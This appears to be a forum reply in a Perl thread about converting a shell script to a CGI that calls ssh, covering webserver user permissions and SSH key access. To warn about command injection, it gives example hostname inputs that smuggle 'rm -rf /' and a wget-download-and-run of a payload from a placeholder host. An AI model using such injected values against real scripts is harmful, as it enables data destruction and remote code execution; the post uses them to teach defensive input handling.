If it's "Not working", maybe you need to increase its food rations? Maybe you need to whip the lazy program harder?
Now, if you tell us how it's not working, what the error message is, and what you find in the webserver error log, we can maybe help you better.
Be aware that your webserver likely runs your CGI not as your shell user and hence will not have the same permissions as your shell user. Especially, your ~/.ssh2/ directory may or may not be readable to that user, so your passwordless keys for the remote machine won't work.
As a point for later consideration, think of a user sending your script a hostname of 127.0.0.1; rm -rf / & # or 127.0.0.1; wget http://compromised.example.com/sploit && chmod ugo+x sploit && ./sploit and read the Instructional Story of Little Bobby Tables.
In reply to Re^3: Shell to Perl conversion
by Corion
in thread Shell to Perl conversion
by rockmountain
| For: | Use: | ||
| & | & | ||
| < | < | ||
| > | > | ||
| [ | [ | ||
| ] | ] |